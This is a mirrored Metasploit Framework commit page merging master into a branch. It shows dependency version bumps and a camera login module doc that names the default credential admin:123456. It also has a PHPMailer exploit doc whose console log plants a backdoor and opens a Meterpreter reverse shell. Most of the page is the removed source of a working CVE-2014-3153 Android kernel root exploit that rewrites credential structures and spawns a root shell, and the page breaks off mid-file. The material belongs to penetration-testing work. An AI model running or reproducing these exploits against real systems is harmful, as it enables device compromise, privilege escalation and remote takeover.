mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
Merge master to cisco_cve_2016_6433 and make sure I have the latest
This commit is contained in:
commit
abab1f17c9
12
Gemfile.lock
12
Gemfile.lock
@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.13.11)
|
||||
metasploit-framework (4.13.14)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@ -16,7 +16,7 @@ PATH
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.2.6)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.1.4)
|
||||
metasploit_payloads-mettle (= 0.1.6)
|
||||
msgpack
|
||||
nessus_rest
|
||||
net-ssh
|
||||
@ -180,7 +180,7 @@ GEM
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.1.4)
|
||||
metasploit_payloads-mettle (0.1.6)
|
||||
method_source (0.8.2)
|
||||
mime-types (3.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
@ -192,7 +192,7 @@ GEM
|
||||
multi_test (0.1.2)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (4.0.0)
|
||||
net-ssh (4.0.1)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.7.0.1)
|
||||
mini_portile2 (~> 2.1.0)
|
||||
@ -273,7 +273,7 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.2)
|
||||
rex-socket (0.1.3)
|
||||
rex-core
|
||||
rex-sslscan (0.1.1)
|
||||
rex-socket
|
||||
@ -326,7 +326,7 @@ GEM
|
||||
windows_error (0.0.2)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.9.5)
|
||||
yard (0.9.7)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
Binary file not shown.
BIN
data/exploits/CVE-2014-3153.so
Executable file
BIN
data/exploits/CVE-2014-3153.so
Executable file
Binary file not shown.
@ -0,0 +1,28 @@
|
||||
This module allows you to log into an BAVision IP Camera's web server.
|
||||
|
||||
The instructions shipped with the camera do not mention clearly regarding the existence of the
|
||||
lighttpd web server, and it uses admin:123456 as the default credential. Even if the default
|
||||
password is changed, the account could also be bruteforced since there is no policy for lockouts.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The web server is built into the IP camera. Specifically, this camera was tested during development:
|
||||
|
||||
"BAVISION 1080P HD Wifi Wireless IP Camera Home Security Baby Monitor Spy Pet/Dog Cameras Video Monitoring Plug/Play,Pan/Tilt With Two-Way Audio and Night Vision"
|
||||
|
||||
http://goo.gl/pHAqS1
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Read the instructions that come with the IP camera to set it up
|
||||
2. Find the IP of the camera (in lab, your router should have info about this)
|
||||
3. Do: ```use auxiliary/scanner/http/bavision_cam_login```
|
||||
4. Set usernames and passwords
|
||||
5. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**TRYDEFAULT**
|
||||
|
||||
The ```TRYDEFAULT``` options adds the default credential admin:123456 to the credential list.
|
@ -0,0 +1,79 @@
|
||||
## Vulnerable Application
|
||||
|
||||
PHPMailer versions up to and including [5.2.20](https://github.com/PHPMailer/PHPMailer/archive/v5.2.20.tar.gz) are affected by a vulnerability which can be leveraged by an attacker to
|
||||
write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed
|
||||
to the sendmail binary. This module writes a payload to the web root of the webserver before then executing it with an
|
||||
HTTP request. The user running PHPMailer must have write access to the specified WEB_ROOT directory and successful
|
||||
exploitation can take a few minutes.
|
||||
|
||||
[5.1.18](https://github.com/PHPMailer/PHPMailer/archive/v5.2.18.tar.gz) is also targetted.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install a vulnerable PHPMailer
|
||||
2. Start msfconsole
|
||||
3. `use exploit/multi/http/phpmailer_arg_injection`
|
||||
4. Set the TARGETURI and WEB_ROOT options as applicable
|
||||
5. `exploit`
|
||||
6. Verify the module yields a PHP meterpreter session in < 5 minutes
|
||||
7. Verify the malicious PHP file was automatically removed
|
||||
|
||||
## Scenarios
|
||||
|
||||
Demo taken directly from [PR7768](https://github.com/rapid7/metasploit-framework/pull/7768)
|
||||
|
||||
```
|
||||
msf (S:0 J:0) exploit(php_mailer) > options
|
||||
|
||||
Module options (exploit/linux/http/php_mailer):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST 192.168.90.134 yes The target address
|
||||
RPORT 8080 yes The target port
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes Path to the application root
|
||||
TRIGGERURI no Path to the uploaded payload
|
||||
VHOST no HTTP server virtual host
|
||||
WEB_ROOT /www yes Path to the web root
|
||||
|
||||
|
||||
|
||||
Payload options (php/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.90.134 yes The listen address
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
msf (S:0 J:0) exploit(php_mailer) > rexploit
|
||||
[*] Reloading module...
|
||||
|
||||
[*] [2016.12.29-17:03:47] Started reverse TCP handler on 192.168.90.134:4444
|
||||
[*] [2016.12.29-17:03:47] Writing the backdoor to /www/0IxI5AFB.php
|
||||
[*] [2016.12.29-17:04:07] Sleeping before requesting the written file
|
||||
[*] [2016.12.29-17:04:07] Waiting for up to 300 seconds to trigger the payload
|
||||
[+] [2016.12.29-17:04:48] Successfully found the payload
|
||||
[*] [2016.12.29-17:05:50] Sending stage (34122 bytes) to 172.17.0.2
|
||||
[*] Meterpreter session 4 opened (192.168.90.134:4444 -> 172.17.0.2:47280) at 2016-12-29 17:05:50 -0500
|
||||
[+] [2016.12.29-17:05:50] Deleted /www/0IxI5AFB.php
|
||||
[+] [2016.12.29-17:06:10] Successfully triggered the payload
|
||||
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 90f0c8e8dbe4
|
||||
OS : Linux 90f0c8e8dbe4 4.8.15-200.fc24.x86_64 #1 SMP Thu Dec 15 23:09:22 UTC 2016 x86_64
|
||||
Meterpreter : php/linux
|
||||
|
||||
meterpreter >
|
||||
```
|
@ -3,8 +3,19 @@ LOCAL_PATH := $(call my-dir)
|
||||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_MODULE := exploit
|
||||
LOCAL_SRC_FILES := exploit.c
|
||||
LOCAL_CFLAGS := -fno-stack-protector -O0
|
||||
LOCAL_MODULE := debugexploit
|
||||
LOCAL_SRC_FILES := futex_requeue.c main.c
|
||||
LOCAL_LDFLAGS += -llog
|
||||
LOCAL_CFLAGS += -DDEBUG
|
||||
LOCAL_CFLAGS += -fno-stack-protector -O0
|
||||
include $(BUILD_EXECUTABLE)
|
||||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_CFLAGS += -fno-stack-protector -O0
|
||||
LOCAL_MODULE := exploit
|
||||
LOCAL_SRC_FILES := futex_requeue.c main.c
|
||||
|
||||
include $(BUILD_SHARED_LIBRARY)
|
||||
|
||||
|
||||
|
12
external/source/exploits/CVE-2014-3153/Makefile
vendored
12
external/source/exploits/CVE-2014-3153/Makefile
vendored
@ -2,14 +2,16 @@
|
||||
all: install
|
||||
|
||||
build:
|
||||
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
|
||||
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi
|
||||
|
||||
install: build
|
||||
mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf
|
||||
mv libs/armeabi/libexploit.so ../../../../data/exploits/CVE-2014-3153.so
|
||||
|
||||
test: build
|
||||
adb push libs/armeabi/exploit /data/local/tmp/exploit
|
||||
adb shell "cd /data/local/tmp; ./exploit id"
|
||||
push: build
|
||||
adb push libs/armeabi/debugexploit /data/local/tmp/futex
|
||||
|
||||
run: push
|
||||
adb shell "/data/local/tmp/futex"
|
||||
|
||||
clean:
|
||||
rm -rf libs
|
||||
|
834
external/source/exploits/CVE-2014-3153/exploit.c
vendored
834
external/source/exploits/CVE-2014-3153/exploit.c
vendored
@ -1,834 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <linux/futex.h>
|
||||
#include <sys/resource.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define FUTEX_WAIT_REQUEUE_PI 11
|
||||
#define FUTEX_CMP_REQUEUE_PI 12
|
||||
|
||||
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
|
||||
|
||||
#define KERNEL_START 0xc0000000
|
||||
|
||||
#define LOCAL_PORT 5551
|
||||
|
||||
struct thread_info;
|
||||
struct task_struct;
|
||||
struct cred;
|
||||
struct kernel_cap_struct;
|
||||
struct task_security_struct;
|
||||
struct list_head;
|
||||
|
||||
struct thread_info {
|
||||
unsigned long flags;
|
||||
int preempt_count;
|
||||
unsigned long addr_limit;
|
||||
struct task_struct *task;
|
||||
|
||||
/* ... */
|
||||
};
|
||||
|
||||
struct kernel_cap_struct {
|
||||
unsigned long cap[2];
|
||||
};
|
||||
|
||||
struct cred {
|
||||
unsigned long usage;
|
||||
uid_t uid;
|
||||
gid_t gid;
|
||||
uid_t suid;
|
||||
gid_t sgid;
|
||||
uid_t euid;
|
||||
gid_t egid;
|
||||
uid_t fsuid;
|
||||
gid_t fsgid;
|
||||
unsigned long securebits;
|
||||
struct kernel_cap_struct cap_inheritable;
|
||||
struct kernel_cap_struct cap_permitted;
|
||||
struct kernel_cap_struct cap_effective;
|
||||
struct kernel_cap_struct cap_bset;
|
||||
unsigned char jit_keyring;
|
||||
void *thread_keyring;
|
||||
void *request_key_auth;
|
||||
void *tgcred;
|
||||
struct task_security_struct *security;
|
||||
|
||||
/* ... */
|
||||
};
|
||||
|
||||
struct list_head {
|
||||
struct list_head *next;
|
||||
struct list_head *prev;
|
||||
};
|
||||
|
||||
struct task_security_struct {
|
||||
unsigned long osid;
|
||||
unsigned long sid;
|
||||
unsigned long exec_sid;
|
||||
unsigned long create_sid;
|
||||
unsigned long keycreate_sid;
|
||||
unsigned long sockcreate_sid;
|
||||
};
|
||||
|
||||
|
||||
struct task_struct_partial {
|
||||
struct list_head cpu_timers[3];
|
||||
struct cred *real_cred;
|
||||
struct cred *cred;
|
||||
struct cred *replacement_session_keyring;
|
||||
char comm[16];
|
||||
};
|
||||
|
||||
|
||||
struct mmsghdr {
|
||||
struct msghdr msg_hdr;
|
||||
unsigned int msg_len;
|
||||
};
|
||||
|
||||
//bss
|
||||
int uaddr1 = 0;
|
||||
int uaddr2 = 0;
|
||||
struct thread_info *HACKS_final_stack_base = NULL;
|
||||
pid_t waiter_thread_tid;
|
||||
pthread_mutex_t done_lock;
|
||||
pthread_cond_t done;
|
||||
pthread_mutex_t is_thread_desched_lock;
|
||||
pthread_cond_t is_thread_desched;
|
||||
volatile int do_socket_tid_read = 0;
|
||||
volatile int did_socket_tid_read = 0;
|
||||
volatile int do_splice_tid_read = 0;
|
||||
volatile int did_splice_tid_read = 0;
|
||||
volatile int do_dm_tid_read = 0;
|
||||
volatile int did_dm_tid_read = 0;
|
||||
pthread_mutex_t is_thread_awake_lock;
|
||||
pthread_cond_t is_thread_awake;
|
||||
int HACKS_fdm = 0;
|
||||
unsigned long MAGIC = 0;
|
||||
unsigned long MAGIC_ALT = 0;
|
||||
pthread_mutex_t *is_kernel_writing;
|
||||
pid_t last_tid = 0;
|
||||
int g_argc;
|
||||
char rootcmd[2048] = "";
|
||||
|
||||
|
||||
ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
|
||||
int pipefd[2];
|
||||
ssize_t len;
|
||||
|
||||
pipe(pipefd);
|
||||
|
||||
len = write(pipefd[1], writebuf, count);
|
||||
|
||||
if (len != count) {
|
||||
printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
read(pipefd[0], readbuf, count);
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
|
||||
int pipefd[2];
|
||||
ssize_t len;
|
||||
|
||||
pipe(pipefd);
|
||||
|
||||
write(pipefd[1], writebuf, count);
|
||||
len = read(pipefd[0], readbuf, count);
|
||||
|
||||
if (len != count) {
|
||||
printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
void write_kernel(int signum)
|
||||
{
|
||||
struct thread_info stackbuf;
|
||||
unsigned long taskbuf[0x100];
|
||||
struct cred *cred;
|
||||
struct cred credbuf;
|
||||
struct task_security_struct *security;
|
||||
struct task_security_struct securitybuf;
|
||||
pid_t pid;
|
||||
int i;
|
||||
int ret;
|
||||
FILE *fp;
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
pthread_cond_signal(&is_thread_awake);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
if (HACKS_final_stack_base == NULL) {
|
||||
static unsigned long new_addr_limit = 0xffffffff;
|
||||
char *slavename;
|
||||
int pipefd[2];
|
||||
char readbuf[0x100];
|
||||
|
||||
printf("cpid1 resumed\n");
|
||||
|
||||
pthread_mutex_lock(is_kernel_writing);
|
||||
|
||||
HACKS_fdm = open("/dev/ptmx", O_RDWR);
|
||||
unlockpt(HACKS_fdm);
|
||||
slavename = ptsname(HACKS_fdm);
|
||||
|
||||
open(slavename, O_RDWR);
|
||||
|
||||
do_splice_tid_read = 1;
|
||||
while (1) {
|
||||
if (did_splice_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
read(HACKS_fdm, readbuf, sizeof readbuf);
|
||||
|
||||
printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit);
|
||||
|
||||
write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit);
|
||||
|
||||
pthread_mutex_unlock(is_kernel_writing);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
printf("cpid3 resumed.\n");
|
||||
|
||||
pthread_mutex_lock(is_kernel_writing);
|
||||
|
||||
printf("hack.\n");
|
||||
|
||||
read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf);
|
||||
read_pipe(stackbuf.task, taskbuf, sizeof taskbuf);
|
||||
|
||||
cred = NULL;
|
||||
security = NULL;
|
||||
pid = 0;
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
|
||||
struct task_struct_partial *task = (void *)&taskbuf[i];
|
||||
|
||||
|
||||
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
|
||||
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
|
||||
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
|
||||
&& task->real_cred == task->cred) {
|
||||
cred = task->cred;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
read_pipe(cred, &credbuf, sizeof credbuf);
|
||||
|
||||
security = credbuf.security;
|
||||
|
||||
if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) {
|
||||
read_pipe(security, &securitybuf, sizeof securitybuf);
|
||||
|
||||
if (securitybuf.osid != 0
|
||||
&& securitybuf.sid != 0
|
||||
&& securitybuf.exec_sid == 0
|
||||
&& securitybuf.create_sid == 0
|
||||
&& securitybuf.keycreate_sid == 0
|
||||
&& securitybuf.sockcreate_sid == 0) {
|
||||
securitybuf.osid = 1;
|
||||
securitybuf.sid = 1;
|
||||
|
||||
printf("task_security_struct: %p\n", security);
|
||||
|
||||
write_pipe(security, &securitybuf, sizeof securitybuf);
|
||||
}
|
||||
}
|
||||
|
||||
credbuf.uid = 0;
|
||||
credbuf.gid = 0;
|
||||
credbuf.suid = 0;
|
||||
credbuf.sgid = 0;
|
||||
credbuf.euid = 0;
|
||||
credbuf.egid = 0;
|
||||
credbuf.fsuid = 0;
|
||||
credbuf.fsgid = 0;
|
||||
|
||||
credbuf.cap_inheritable.cap[0] = 0xffffffff;
|
||||
credbuf.cap_inheritable.cap[1] = 0xffffffff;
|
||||
credbuf.cap_permitted.cap[0] = 0xffffffff;
|
||||
credbuf.cap_permitted.cap[1] = 0xffffffff;
|
||||
credbuf.cap_effective.cap[0] = 0xffffffff;
|
||||
credbuf.cap_effective.cap[1] = 0xffffffff;
|
||||
credbuf.cap_bset.cap[0] = 0xffffffff;
|
||||
credbuf.cap_bset.cap[1] = 0xffffffff;
|
||||
|
||||
write_pipe(cred, &credbuf, sizeof credbuf);
|
||||
|
||||
pid = syscall(__NR_gettid);
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
|
||||
static unsigned long write_value = 1;
|
||||
|
||||
if (taskbuf[i] == pid) {
|
||||
write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value);
|
||||
|
||||
if (getuid() != 0) {
|
||||
printf("ROOT FAILED\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
} else { //rooted
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sleep(1);
|
||||
|
||||
if (g_argc >= 2) {
|
||||
system(rootcmd);
|
||||
} else {
|
||||
system("/system/bin/sh -i");
|
||||
}
|
||||
|
||||
system("/system/bin/touch /dev/rooted");
|
||||
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
while (1) {
|
||||
ret = access("/dev/rooted", F_OK);
|
||||
if (ret >= 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
printf("wait 10 seconds...\n");
|
||||
sleep(10);
|
||||
|
||||
printf("rebooting...\n");
|
||||
sleep(1);
|
||||
system("reboot");
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
pthread_mutex_lock(&done_lock);
|
||||
pthread_cond_signal(&done);
|
||||
pthread_mutex_unlock(&done_lock);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
void *make_action(void *arg) {
|
||||
int prio;
|
||||
struct sigaction act;
|
||||
int ret;
|
||||
|
||||
prio = (int)arg;
|
||||
last_tid = syscall(__NR_gettid);
|
||||
|
||||
pthread_mutex_lock(&is_thread_desched_lock);
|
||||
pthread_cond_signal(&is_thread_desched);
|
||||
|
||||
act.sa_handler = write_kernel;
|
||||
act.sa_mask = 0;
|
||||
act.sa_flags = 0;
|
||||
act.sa_restorer = NULL;
|
||||
sigaction(12, &act, NULL);
|
||||
|
||||
setpriority(PRIO_PROCESS, 0, prio);
|
||||
|
||||
pthread_mutex_unlock(&is_thread_desched_lock);
|
||||
|
||||
do_dm_tid_read = 1;
|
||||
|
||||
while (did_dm_tid_read == 0) {
|
||||
;
|
||||
}
|
||||
|
||||
ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
||||
printf("futex dm: %d\n", ret);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pid_t wake_actionthread(int prio) {
|
||||
pthread_t th4;
|
||||
pid_t pid;
|
||||
char filename[256];
|
||||
FILE *fp;
|
||||
char filebuf[0x1000];
|
||||
char *pdest;
|
||||
int vcscnt, vcscnt2;
|
||||
|
||||
do_dm_tid_read = 0;
|
||||
did_dm_tid_read = 0;
|
||||
|
||||
pthread_mutex_lock(&is_thread_desched_lock);
|
||||
pthread_create(&th4, 0, make_action, (void *)prio);
|
||||
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
|
||||
|
||||
pid = last_tid;
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
while (do_dm_tid_read == 0) {
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
did_dm_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 == vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
|
||||
}
|
||||
|
||||
pthread_mutex_unlock(&is_thread_desched_lock);
|
||||
|
||||
return pid;
|
||||
}
|
||||
|
||||
int make_socket() {
|
||||
int sockfd;
|
||||
struct sockaddr_in addr = {0};
|
||||
int ret;
|
||||
int sock_buf_size;
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
if (sockfd < 0) {
|
||||
printf("socket failed.\n");
|
||||
usleep(10);
|
||||
} else {
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(LOCAL_PORT);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
}
|
||||
|
||||
while (1) {
|
||||
ret = connect(sockfd, (struct sockaddr *)&addr, 16);
|
||||
if (ret >= 0) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
sock_buf_size = 1;
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
|
||||
|
||||
return sockfd;
|
||||
}
|
||||
|
||||
void *send_magicmsg(void *arg) {
|
||||
int sockfd;
|
||||
struct mmsghdr msgvec[1];
|
||||
struct iovec msg_iov[8];
|
||||
unsigned long databuf[0x20];
|
||||
int i;
|
||||
int ret;
|
||||
|
||||
waiter_thread_tid = syscall(__NR_gettid);
|
||||
setpriority(PRIO_PROCESS, 0, 12);
|
||||
|
||||
sockfd = make_socket();
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
|
||||
databuf[i] = MAGIC;
|
||||
}
|
||||
|
||||
for (i = 0; i < 8; i++) {
|
||||
msg_iov[i].iov_base = (void *)MAGIC;
|
||||
msg_iov[i].iov_len = 0x10;
|
||||
}
|
||||
|
||||
msgvec[0].msg_hdr.msg_name = databuf;
|
||||
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
|
||||
msgvec[0].msg_hdr.msg_iov = msg_iov;
|
||||
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
|
||||
msgvec[0].msg_hdr.msg_control = databuf;
|
||||
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
|
||||
msgvec[0].msg_hdr.msg_flags = 0;
|
||||
msgvec[0].msg_len = 0;
|
||||
|
||||
syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0);
|
||||
|
||||
do_socket_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
if (did_socket_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ret = 0;
|
||||
|
||||
while (1) {
|
||||
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
|
||||
if (ret <= 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (ret < 0) {
|
||||
perror("SOCKSHIT");
|
||||
}
|
||||
printf("EXIT WTF\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static inline setup_exploit(unsigned long mem)
|
||||
{
|
||||
*((unsigned long *)(mem - 0x04)) = 0x81;
|
||||
*((unsigned long *)(mem + 0x00)) = mem + 0x20;
|
||||
*((unsigned long *)(mem + 0x08)) = mem + 0x28;
|
||||
*((unsigned long *)(mem + 0x1c)) = 0x85;
|
||||
*((unsigned long *)(mem + 0x24)) = mem;
|
||||
*((unsigned long *)(mem + 0x2c)) = mem + 8;
|
||||
}
|
||||
|
||||
void *search_goodnum(void *arg) {
|
||||
int ret;
|
||||
char filename[256];
|
||||
FILE *fp;
|
||||
char filebuf[0x1000];
|
||||
char *pdest;
|
||||
int vcscnt, vcscnt2;
|
||||
unsigned long magicval;
|
||||
pid_t pid;
|
||||
unsigned long goodval, goodval2;
|
||||
unsigned long addr, setaddr;
|
||||
int i;
|
||||
char buf[0x1000];
|
||||
|
||||
syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
||||
|
||||
while (1) {
|
||||
ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1);
|
||||
if (ret == 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
wake_actionthread(6);
|
||||
wake_actionthread(7);
|
||||
|
||||
uaddr2 = 0;
|
||||
do_socket_tid_read = 0;
|
||||
did_socket_tid_read = 0;
|
||||
|
||||
syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2);
|
||||
|
||||
while (1) {
|
||||
if (do_socket_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
|
||||
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
did_socket_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 == vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
printf("starting the dangerous things\n");
|
||||
|
||||
setup_exploit(MAGIC_ALT);
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
magicval = *((unsigned long *)MAGIC);
|
||||
|
||||
wake_actionthread(11);
|
||||
|
||||
if (*((unsigned long *)MAGIC) == magicval) {
|
||||
printf("using MAGIC_ALT.\n");
|
||||
MAGIC = MAGIC_ALT;
|
||||
}
|
||||
|
||||
while (1) {
|
||||
is_kernel_writing = (pthread_mutex_t *)malloc(4);
|
||||
pthread_mutex_init(is_kernel_writing, NULL);
|
||||
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
pid = wake_actionthread(11);
|
||||
|
||||
goodval = *((unsigned long *)MAGIC) & 0xffffe000;
|
||||
|
||||
printf("%p is a good number\n", (void *)goodval);
|
||||
|
||||
do_splice_tid_read = 0;
|
||||
did_splice_tid_read = 0;
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
|
||||
kill(pid, 12);
|
||||
|
||||
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
while (1) {
|
||||
if (do_splice_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
did_splice_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
